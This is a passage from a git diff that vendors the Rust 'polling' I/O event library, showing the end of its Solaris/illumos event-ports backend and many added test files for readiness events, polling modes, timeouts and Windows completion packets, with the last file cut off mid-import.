events. + let res = port::getn( + &self.port_fd, + spare_capacity(&mut events.list), + 1, + timeout.as_ref(), + ); + #[cfg(feature = "tracing")] + tracing::trace!( + port_fd = ?self.port_fd, + res = ?events.list.len(), + "new events" + ); + + // Event ports sets the return value to -1 and returns ETIME on timer expire. The number of + // returned events is stored in nget, but in our case it should always be 0 since we set + // nget to 1 initially. + if let Err(e) = res { + match e { + rustix::io::Errno::TIME => {} + _ => return Err(e.into()), + } + } + + Ok(()) + } + + /// Sends a notification to wake up the current or next `wait()` call. + pub fn notify(&self) -> io::Result<()> { + const PORT_SOURCE_USER: i32 = 3; + + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "notify", + port_fd = ?self.port_fd.as_raw_fd(), + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + // Use port_send to send a notification to the port. + port::send(&self.port_fd, PORT_SOURCE_USER, crate::NOTIFY_KEY as _)?; + + Ok(()) + } +} + +impl AsRawFd for Poller { + fn as_raw_fd(&self) -> RawFd { + self.port_fd.as_raw_fd() + } +} + +impl AsFd for Poller { + fn as_fd(&self) -> BorrowedFd<'_> { + self.port_fd.as_fd() + } +} + +/// Poll flags for all possible readability events. +fn read_flags() -> PollFlags { + PollFlags::IN | PollFlags::HUP | PollFlags::ERR | PollFlags::PRI +} + +/// Poll flags for all possible writability events. +fn write_flags() -> PollFlags { + PollFlags::OUT | PollFlags::HUP | PollFlags::ERR +} + +/// A list of reported I/O events. +pub struct Events { + list: Vec, +} + +unsafe impl Send for Events {} + +impl Events { + /// Creates an empty list. + pub fn with_capacity(cap: usize) -> Events { + Events { + list: Vec::with_capacity(cap), + } + } + + /// Iterates over I/O events. + pub fn iter(&self) -> impl Iterator + '_ { + self.list.iter().map(|ev| { + let flags = PollFlags::from_bits_truncate(ev.events() as _); + Event { + key: ev.userdata() as usize, + readable: flags.intersects(read_flags()), + writable: flags.intersects(write_flags()), + extra: EventExtra { flags }, + } + }) + } + + /// Clear the list. + pub fn clear(&mut self) { + self.list.clear(); + } + + /// Get the capacity of the list. + pub fn capacity(&self) -> usize { + self.list.capacity() + } +} + +/// Extra information associated with an event. +#[derive(Debug, Copy, Clone, PartialEq, Eq)] +pub struct EventExtra { + /// Flags associated with this event. + flags: PollFlags, +} + +impl EventExtra { + /// Create a new, empty version of this struct. + #[inline] + pub const fn empty() -> EventExtra { + EventExtra { + flags: PollFlags::empty(), + } + } + + /// Set the interrupt flag. + #[inline] + pub fn set_hup(&mut self, value: bool) { + self.flags.set(PollFlags::HUP, value); + } + + /// Set the priority flag. + #[inline] + pub fn set_pri(&mut self, value: bool) { + self.flags.set(PollFlags::PRI, value); + } + + /// Is this an interrupt event? + #[inline] + pub fn is_hup(&self) -> bool { + self.flags.contains(PollFlags::HUP) + } + + /// Is this a priority event? + #[inline] + pub fn is_pri(&self) -> bool { + self.flags.contains(PollFlags::PRI) + } + + #[inline] + pub fn is_connect_failed(&self) -> Option { + Some(self.flags.contains(PollFlags::ERR) && self.flags.contains(PollFlags::HUP)) + } + + #[inline] + pub fn is_err(&self) -> Option { + Some(self.flags.contains(PollFlags::ERR)) + } +} diff --git a/lib/malio/polling/tests/concurrent_modification.rs b/lib/malio/polling/tests/concurrent_modification.rs new file mode 100644 index 0000000..f4598c0 --- /dev/null +++ b/lib/malio/polling/tests/concurrent_modification.rs @@ -0,0 +1,131 @@ +use std::io::{self, Write}; +use std::net::{TcpListener, TcpStream}; +use std::thread; +use std::time::Duration; + +use easy_parallel::Parallel; +use polling::{Event, Events, Poller}; + +#[test] +fn concurrent_add() -> io::Result<()> { + let (reader, mut writer) = tcp_pair()?; + let poller = Poller::new()?; + + let mut events = Events::new(); + + let result = Parallel::new() + .add(|| { + poller.wait(&mut events, None)?; + Ok(()) + }) + .add(|| { + thread::sleep(Duration::from_millis(100)); + unsafe { + poller.add(&reader, Event::readable(0))?; + } + writer.write_all(&[1])?; + Ok(()) + }) + .run() + .into_iter() + .collect::>(); + + poller.delete(&reader)?; + result?; + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(0) + ); + + Ok(()) +} + +#[test] +fn concurrent_modify() -> io::Result<()> { + let (reader, mut writer) = tcp_pair()?; + let poller = Poller::new()?; + unsafe { + poller.add(&reader, Event::none(0))?; + } + + let mut events = Events::new(); + + Parallel::new() + .add(|| { + poller.wait(&mut events, Some(Duration::from_secs(10)))?; + Ok(()) + }) + .add(|| { + thread::sleep(Duration::from_millis(100)); + poller.modify(&reader, Event::readable(0))?; + writer.write_all(&[1])?; + Ok(()) + }) + .run() + .into_iter() + .collect::>()?; + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(0) + ); + + Ok(()) +} + +#[cfg(all(unix, not(target_os = "vita")))] +#[test] +fn concurrent_interruption() -> io::Result<()> { + struct MakeItSend(T); + unsafe impl Send for MakeItSend {} + + let (reader, _writer) = tcp_pair()?; + let poller = Poller::new()?; + unsafe { + poller.add(&reader, Event::none(0))?; + } + + let mut events = Events::new(); + let events_borrow = &mut events; + let (sender, receiver) = std::sync::mpsc::channel(); + + Parallel::new() + .add(move || { + // Register a signal handler so that the syscall is actually interrupted. A signal that + // is ignored by default does not cause an interrupted syscall. + signal_hook::flag::register(signal_hook::consts::signal::SIGURG, Default::default())?; + + // Signal to the other thread how to send a signal to us + sender + .send(MakeItSend(unsafe { libc::pthread_self() })) + .unwrap(); + + poller.wait(events_borrow, Some(Duration::from_secs(1)))?; + Ok(()) + }) + .add(move || { + let MakeItSend(target_thread) = receiver.recv().unwrap(); + thread::sleep(Duration::from_millis(100)); + assert_eq!(0, unsafe { + libc::pthread_kill(target_thread, libc::SIGURG) + }); + Ok(()) + }) + .run() + .into_iter() + .collect::>()?; + + assert_eq!(events.len(), 0); + + Ok(()) +} + +fn tcp_pair() -> io::Result<(TcpStream, TcpStream)> { + let listener = TcpListener::bind("127.0.0.1:0")?; + let a = TcpStream::connect(listener.local_addr()?)?; + let (b, _) = listener.accept()?; + Ok((a, b)) +} diff --git a/lib/malio/polling/tests/io.rs b/lib/malio/polling/tests/io.rs new file mode 100644 index 0000000..8156abc --- /dev/null +++ b/lib/malio/polling/tests/io.rs @@ -0,0 +1,144 @@ +use polling::{Event, Events, Poller}; +use std::io::{self, Write}; +use std::net::{TcpListener, TcpStream}; +use std::sync::Arc; +use std::time::Duration; + +#[test] +fn basic_io() { + let poller = Poller::new().unwrap(); + let (read, mut write) = tcp_pair().unwrap(); + unsafe { + poller.add(&read, Event::readable(1)).unwrap(); + } + + // Nothing should be available at first. + let mut events = Events::new(); + assert_eq!( + poller + .wait(&mut events, Some(Duration::from_secs(0))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + + // After a write, the event should be available now. + write.write_all(&[1]).unwrap(); + assert_eq!( + poller + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); + poller.delete(&read).unwrap(); +} + +#[test] +fn insert_twice() { + #[cfg(unix)] + use std::os::unix::io::AsRawFd; + #[cfg(windows)] + use std::os::windows::io::AsRawSocket; + + let (read, mut write) = tcp_pair().unwrap(); + let read = Arc::new(read); + + let poller = Poller::new().unwrap(); + unsafe { + #[cfg(unix)] + let read = read.as_raw_fd(); + #[cfg(windows)] + let read = read.as_raw_socket(); + + poller.add(read, Event::readable(1)).unwrap(); + assert_eq!( + poller.add(read, Event::readable(1)).unwrap_err().kind(), + io::ErrorKind::AlreadyExists + ); + } + + write.write_all(&[1]).unwrap(); + let mut events = Events::new(); + assert_eq!( + poller + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); + + poller.delete(&read).unwrap(); +} + +/// Test that calling `wait` appends events, as [documented], rather than +/// overwriting them. +/// +/// [documented]: https://docs.rs/polling/latest/polling/struct.Poller.html#method.wait +#[test] +fn append_events() { + #[cfg(unix)] + use std::os::unix::io::AsRawFd; + #[cfg(windows)] + use std::os::windows::io::AsRawSocket; + + // Create a few sockets. + let mut pairs = Vec::new(); + for _ in 0..4 { + let (read, write) = tcp_pair().unwrap(); + pairs.push((read, write)); + } + + // Add the sockets to the poller. + let poller = Poller::new().unwrap(); + unsafe { + for (read, _write) in &pairs { + #[cfg(unix)] + let read = read.as_raw_fd(); + #[cfg(windows)] + let read = read.as_raw_socket(); + + poller.add(read, Event::readable(1)).unwrap(); + } + } + + // Trigger read events on the sockets and reuse the event list to test + // that events are appended. + let mut events = Events::new(); + + for (index, (_read, ref mut write)) in pairs.iter_mut().enumerate() { + // Write to the socket prompting a reader readiness event. + write.write_all(&[1]).unwrap(); + assert_eq!( + poller + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + index + 1 + ); + assert_eq!(events.len(), index + 1); + for event in events.iter() { + assert_eq!(event.with_no_extra(), Event::readable(1)); + } + } + + for (read, _write) in &pairs { + poller.delete(read).unwrap(); + } +} + +fn tcp_pair() -> io::Result<(TcpStream, TcpStream)> { + let listener = TcpListener::bind("127.0.0.1:0")?; + let a = TcpStream::connect(listener.local_addr()?)?; + let (b, _) = listener.accept()?; + Ok((a, b)) +} diff --git a/lib/malio/polling/tests/many_connections.rs b/lib/malio/polling/tests/many_connections.rs new file mode 100644 index 0000000..ed392f5 --- /dev/null +++ b/lib/malio/polling/tests/many_connections.rs @@ -0,0 +1,66 @@ +//! Tests to ensure more than 32 connections can be polled at once. + +// Doesn't work on OpenBSD. +#![cfg(not(target_os = "openbsd"))] + +use std::io::{self, prelude::*}; +use std::net::{TcpListener, TcpStream}; +use std::time::Duration; + +use polling::Events; + +#[test] +fn many_connections() { + // Create 100 connections. + let mut connections = Vec::new(); + for i in 0..100 { + let (reader, writer) = tcp_pair().unwrap(); + connections.push((i, reader, writer)); + } + + // Create a poller and add all the connections. + let poller = polling::Poller::new().unwrap(); + + for (i, reader, _) in connections.iter() { + unsafe { + poller.add(reader, polling::Event::readable(*i)).unwrap(); + } + } + + let mut events = Events::new(); + while !connections.is_empty() { + // Choose a random connection to write to. + let i = fastrand::usize(..connections.len()); + let (id, mut reader, mut writer) = connections.remove(i); + + // Write a byte to the connection. + writer.write_all(&[1]).unwrap(); + + // Wait for the connection to become readable. + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + // Check that the connection is readable. + let current_events = events.iter().collect::>(); + assert_eq!(current_events.len(), 1, "events: {current_events:?}"); + assert_eq!( + current_events[0].with_no_extra(), + polling::Event::readable(id) + ); + + // Read the byte from the connection. + let mut buf = [0]; + reader.read_exact(&mut buf).unwrap(); + assert_eq!(buf, [1]); + poller.delete(&reader).unwrap(); + events.clear(); + } +} + +fn tcp_pair() -> io::Result<(TcpStream, TcpStream)> { + let listener = TcpListener::bind("127.0.0.1:0")?; + let a = TcpStream::connect(listener.local_addr()?)?; + let (b, _) = listener.accept()?; + Ok((a, b)) +} diff --git a/lib/malio/polling/tests/multiple_pollers.rs b/lib/malio/polling/tests/multiple_pollers.rs new file mode 100644 index 0000000..18f0efd --- /dev/null +++ b/lib/malio/polling/tests/multiple_pollers.rs @@ -0,0 +1,358 @@ +//! Test registering one source into multiple pollers. + +use polling::{Event, Events, PollMode, Poller}; + +use std::io::{self, prelude::*}; +use std::net::{TcpListener, TcpStream}; +use std::time::Duration; + +#[test] +fn level_triggered() { + let poller1 = Poller::new().unwrap(); + let poller2 = Poller::new().unwrap(); + let mut events = Events::new(); + + if !poller1.supports_level() || !poller2.supports_level() { + return; + } + + // Register the source into both pollers. + let (mut reader, mut writer) = tcp_pair().unwrap(); + unsafe { + poller1 + .add_with_mode(&reader, Event::readable(1), PollMode::Level) + .unwrap(); + poller2 + .add_with_mode(&reader, Event::readable(2), PollMode::Level) + .unwrap(); + } + + // Neither poller should have any events. + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + + // Write to the source. + writer.write_all(&[1]).unwrap(); + + // At least one poller should have an event. + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); + + events.clear(); + // poller2 should have zero or one events. + match poller2.wait(&mut events, Some(Duration::from_secs(1))) { + Ok(1) => { + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(2) + ); + } + Ok(0) => assert!(events.is_empty()), + _ => panic!("unexpected error"), + } + + // Writing more data should cause the same event. + writer.write_all(&[1]).unwrap(); + events.clear(); + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); + + // poller2 should have zero or one events. + events.clear(); + match poller2.wait(&mut events, Some(Duration::from_secs(1))) { + Ok(1) => { + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(2) + ); + } + Ok(0) => assert!(events.is_empty()), + _ => panic!("unexpected error"), + } + + // Read from the source. + reader.read_exact(&mut [0; 2]).unwrap(); + + // Both pollers should not have any events. + events.clear(); + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + + // Dereference the pollers. + poller1.delete(&reader).unwrap(); + poller2.delete(&reader).unwrap(); +} + +#[test] +fn edge_triggered() { + let poller1 = Poller::new().unwrap(); + let poller2 = Poller::new().unwrap(); + let mut events = Events::new(); + + if !poller1.supports_edge() || !poller2.supports_edge() { + return; + } + + // Register the source into both pollers. + let (mut reader, mut writer) = tcp_pair().unwrap(); + unsafe { + poller1 + .add_with_mode(&reader, Event::readable(1), PollMode::Edge) + .unwrap(); + poller2 + .add_with_mode(&reader, Event::readable(2), PollMode::Edge) + .unwrap(); + } + + // Neither poller should have any events. + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + + // Write to the source. + writer.write_all(&[1]).unwrap(); + + // Both pollers should have an event. + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); + + events.clear(); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(2) + ); + + // Writing to the poller again should cause an event. + writer.write_all(&[1]).unwrap(); + + // Both pollers should have one event. + events.clear(); + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); + + events.clear(); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(2) + ); + + // Read from the source. + reader.read_exact(&mut [0; 2]).unwrap(); + + // Both pollers should not have any events. + events.clear(); + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + + // Dereference the pollers. + poller1.delete(&reader).unwrap(); + poller2.delete(&reader).unwrap(); +} + +#[test] +fn oneshot_triggered() { + let poller1 = Poller::new().unwrap(); + let poller2 = Poller::new().unwrap(); + let mut events = Events::new(); + + // Register the source into both pollers. + let (mut reader, mut writer) = tcp_pair().unwrap(); + unsafe { + poller1 + .add_with_mode(&reader, Event::readable(1), PollMode::Oneshot) + .unwrap(); + poller2 + .add_with_mode(&reader, Event::readable(2), PollMode::Oneshot) + .unwrap(); + } + + // Neither poller should have any events. + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + + // Write to the source. + writer.write_all(&[1]).unwrap(); + + // Sources should have either one or no events. + match poller1.wait(&mut events, Some(Duration::from_secs(1))) { + Ok(1) => { + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); + } + Ok(0) => assert!(events.is_empty()), + _ => panic!("unexpected error"), + } + events.clear(); + + match poller2.wait(&mut events, Some(Duration::from_secs(1))) { + Ok(1) => { + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(2) + ); + } + Ok(0) => assert!(events.is_empty()), + _ => panic!("unexpected error"), + } + events.clear(); + + // Writing more data should not cause an event. + writer.write_all(&[1]).unwrap(); + + // Sources should have no events. + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + + // Read from the source. + reader.read_exact(&mut [0; 2]).unwrap(); + + // Sources should have no events. + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); +} + +fn tcp_pair() -> io::Result<(TcpStream, TcpStream)> { + let listener = TcpListener::bind("127.0.0.1:0")?; + let a = TcpStream::connect(listener.local_addr()?)?; + let (b, _) = listener.accept()?; + Ok((a, b)) +} diff --git a/lib/malio/polling/tests/notify.rs b/lib/malio/polling/tests/notify.rs new file mode 100644 index 0000000..7dff0c3 --- /dev/null +++ b/lib/malio/polling/tests/notify.rs @@ -0,0 +1,38 @@ +use std::io; +use std::thread; +use std::time::Duration; + +use easy_parallel::Parallel; +use polling::Events; +use polling::Poller; + +#[test] +fn simple() -> io::Result<()> { + let poller = Poller::new()?; + let mut events = Events::new(); + + for _ in 0..10 { + poller.notify()?; + poller.wait(&mut events, None)?; + assert!(events.is_empty()); + } + + Ok(()) +} + +#[test] +fn concurrent() -> io::Result<()> { + let poller = Poller::new()?; + let mut events = Events::new(); + + for _ in 0..2 { + Parallel::new() + .add(|| { + thread::sleep(Duration::from_secs(0)); + poller.notify().unwrap(); + }) + .finish(|| poller.wait(&mut events, None).unwrap()); + } + + Ok(()) +} diff --git a/lib/malio/polling/tests/other_modes.rs b/lib/malio/polling/tests/other_modes.rs new file mode 100644 index 0000000..c3cf79f --- /dev/null +++ b/lib/malio/polling/tests/other_modes.rs @@ -0,0 +1,273 @@ +//! Tests for level triggered and edge triggered mode. + +#![allow(clippy::unused_io_amount)] + +use std::io::{self, prelude::*}; +use std::net::{TcpListener, TcpStream}; +use std::time::Duration; + +use polling::{Event, Events, PollMode, Poller}; + +#[test] +fn level_triggered() { + // Create our streams. + let (mut reader, mut writer) = tcp_pair().unwrap(); + let reader_token = 1; + + // Create our poller and register our streams. + let poller = Poller::new().unwrap(); + if unsafe { poller.add_with_mode(&reader, Event::readable(reader_token), PollMode::Level) } + .is_err() + { + // Only panic if we're on a platform that should support level mode. + cfg_if::cfg_if! { + if #[cfg(any(target_os = "solaris", target_os = "illumos"))] { + return; + } else { + panic!("Level mode should be supported on this platform"); + } + } + } + + // Write some data to the writer. + let data = [1, 2, 3, 4, 5]; + writer.write_all(&data).unwrap(); + + // A "readable" notification should be delivered. + let mut events = Events::new(); + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); + + // If we read some of the data, the notification should still be available. + reader.read_exact(&mut [0; 3]).unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); + + // If we read the rest of the data, the notification should be gone. + reader.read_exact(&mut [0; 2]).unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(0))) + .unwrap(); + + assert!(events.is_empty()); + + // After modifying the stream and sending more data, it should be oneshot. + poller + .modify_with_mode(&reader, Event::readable(reader_token), PollMode::Oneshot) + .unwrap(); + + writer.write(&data).unwrap(); + events.clear(); + + // BUG: Somehow, the notification here is delayed? + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); + + // After reading, the notification should vanish. + reader.read(&mut [0; 5]).unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(0))) + .unwrap(); + + assert!(events.is_empty()); +} + +#[test] +fn edge_triggered() { + // Create our streams. + let (mut reader, mut writer) = tcp_pair().unwrap(); + let reader_token = 1; + + // Create our poller and register our streams. + let poller = Poller::new().unwrap(); + if unsafe { poller.add_with_mode(&reader, Event::readable(reader_token), PollMode::Edge) } + .is_err() + { + // Only panic if we're on a platform that should support level mode. + cfg_if::cfg_if! { + if #[cfg(all( + any( + target_os = "linux", + target_os = "android", + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly" + ), + not(polling_test_poll_backend) + ))] { + panic!("Edge mode should be supported on this platform"); + } else { + return; + } + } + } + + // Write some data to the writer. + let data = [1, 2, 3, 4, 5]; + writer.write_all(&data).unwrap(); + + // A "readable" notification should be delivered. + let mut events = Events::new(); + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); + + // If we read some of the data, the notification should not still be available. + reader.read_exact(&mut [0; 3]).unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(0))) + .unwrap(); + assert!(events.is_empty()); + + // If we write more data, a notification should be delivered. + writer.write_all(&data).unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); + + // After modifying the stream and sending more data, it should be oneshot. + poller + .modify_with_mode(&reader, Event::readable(reader_token), PollMode::Oneshot) + .unwrap(); + + writer.write_all(&data).unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); +} + +#[test] +fn edge_oneshot_triggered() { + // Create our streams. + let (mut reader, mut writer) = tcp_pair().unwrap(); + let reader_token = 1; + + // Create our poller and register our streams. + let poller = Poller::new().unwrap(); + if unsafe { + poller.add_with_mode( + &reader, + Event::readable(reader_token), + PollMode::EdgeOneshot, + ) + } + .is_err() + { + // Only panic if we're on a platform that should support level mode. + cfg_if::cfg_if! { + if #[cfg(all( + any( + target_os = "linux", + target_os = "android", + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly" + ), + not(polling_test_poll_backend) + ))] { + panic!("Edge mode should be supported on this platform"); + } else { + return; + } + } + } + + // Write some data to the writer. + let data = [1, 2, 3, 4, 5]; + writer.write_all(&data).unwrap(); + + // A "readable" notification should be delivered. + let mut events = Events::new(); + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); + + // If we read some of the data, the notification should not still be available. + reader.read_exact(&mut [0; 3]).unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(0))) + .unwrap(); + assert!(events.is_empty()); + + // If we modify to re-enable the notification, it should be delivered. + poller + .modify_with_mode( + &reader, + Event::readable(reader_token), + PollMode::EdgeOneshot, + ) + .unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(0))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); +} + +fn tcp_pair() -> io::Result<(TcpStream, TcpStream)> { + let listener = TcpListener::bind("127.0.0.1:0")?; + let a = TcpStream::connect(listener.local_addr()?)?; + let (b, _) = listener.accept()?; + Ok((a, b)) +} diff --git a/lib/malio/polling/tests/precision.rs b/lib/malio/polling/tests/precision.rs new file mode 100644 index 0000000..f0656df --- /dev/null +++ b/lib/malio/polling/tests/precision.rs @@ -0,0 +1,72 @@ +use std::io; +use std::time::{Duration, Instant}; + +use polling::{Events, Poller}; + +#[test] +fn below_ms() -> io::Result<()> { + let poller = Poller::new()?; + let mut events = Events::new(); + + let dur = Duration::from_micros(100); + let margin = Duration::from_micros(500); + let mut lowest = Duration::from_secs(1000); + + for _ in 0..1_000 { + let now = Instant::now(); + let n = poller.wait(&mut events, Some(dur))?; + let elapsed = now.elapsed(); + + assert_eq!(n, 0); + assert!(elapsed >= dur, "{elapsed:?} < {dur:?}"); + lowest = lowest.min(elapsed); + } + + if cfg!(all( + any( + target_os = "linux", + target_os = "android", + target_vendor = "apple", + target_os = "freebsd", + ), + not(polling_test_poll_backend) + )) { + assert!(lowest < dur + margin); + } + Ok(()) +} + +#[test] +fn above_ms() -> io::Result<()> { + let poller = Poller::new()?; + let mut events = Events::new(); + + let dur = Duration::from_micros(3_100); + let margin = Duration::from_micros(500); + let mut lowest = Duration::from_secs(1000); + + for _ in 0..1_000 { + let now = Instant::now(); + let n = poller.wait(&mut events, Some(dur))?; + let elapsed = now.elapsed(); + + assert_eq!(n, 0); + assert!(elapsed >= dur, "{elapsed:?} < {dur:?}"); + lowest = lowest.min(elapsed); + } + + if cfg!(all( + any( + target_os = "linux", + target_os = "android", + target_os = "illumos", + target_os = "solaris", + target_vendor = "apple", + target_os = "freebsd", + ), + not(polling_test_poll_backend) + )) { + assert!(lowest < dur + margin); + } + Ok(()) +} diff --git a/lib/malio/polling/tests/timeout.rs b/lib/malio/polling/tests/timeout.rs new file mode 100644 index 0000000..62763a1 --- /dev/null +++ b/lib/malio/polling/tests/timeout.rs @@ -0,0 +1,32 @@ +use std::io; +use std::time::{Duration, Instant}; + +use polling::{Events, Poller}; + +#[test] +fn twice() -> io::Result<()> { + let poller = Poller::new()?; + let mut events = Events::new(); + + for _ in 0..2 { + let start = Instant::now(); + poller.wait(&mut events, Some(Duration::from_secs(1)))?; + let elapsed = start.elapsed(); + + assert!(elapsed >= Duration::from_secs(1)); + } + + Ok(()) +} + +#[test] +fn non_blocking() -> io::Result<()> { + let poller = Poller::new()?; + let mut events = Events::new(); + + for _ in 0..100 { + poller.wait(&mut events, Some(Duration::from_secs(0)))?; + } + + Ok(()) +} diff --git a/lib/malio/polling/tests/windows_post.rs b/lib/malio/polling/tests/windows_post.rs new file mode 100644 index 0000000..33c3b6c --- /dev/null +++ b/lib/malio/polling/tests/windows_post.rs @@ -0,0 +1,64 @@ +//! Tests for the post() function on Windows. + +#![cfg(windows)] + +use polling::os::iocp::{CompletionPacket, PollerIocpExt}; +use polling::{Event, Events, Poller}; + +use std::sync::Arc; +use std::thread; +use std::time::Duration; + +#[test] +fn post_smoke() { + let poller = Poller::new().unwrap(); + let mut events = Events::new(); + + poller + .post(CompletionPacket::new(Event::readable(1))) + .unwrap(); + poller.wait(&mut events, None).unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); +} + +#[test] +fn post_multithread() { + let poller = Arc::new(Poller::new().unwrap()); + let mut events = Events::new(); + + thread::spawn({ + let poller = Arc::clone(&poller); + move || { + for i in 0..3 { + poller + .post(CompletionPacket::new(Event::writable(i))) + .unwrap(); + + thread::sleep(Duration::from_millis(100)); + } + } + }); + + for i in 0..3 { + poller + .wait(&mut events, Some(Duration::from_secs(5))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::writable(i) + ); + events.clear(); + } + + poller + .wait(&mut events, Some(Duration::from_millis(10))) + .unwrap(); + assert_eq!(events.len(), 0); +} diff --git a/lib/malio/polling/tests/windows_waitable.rs b/lib/malio/polling/tests/windows_waitable.rs new file mode 100644 index 0000000..c9e0e8f --- /dev/null +++ b/lib/malio/polling/tests/windows_waitable.rs @@ -0,0 +1,138 @@ +//! Tests for the waitable polling on Windows. + +#![cfg(windows)] + +use polling::os::iocp::PollerIocpExt; +use polling::{Event, Events, PollMode, Poller}; + +use windows_sys::Win32::Foundation::CloseHandle; +use windows_sys::Win32::System::Threading::{CreateEventW, ResetEvent, SetEvent}; + +use std::io; +use std::os::windows::io::{AsRawHandle, 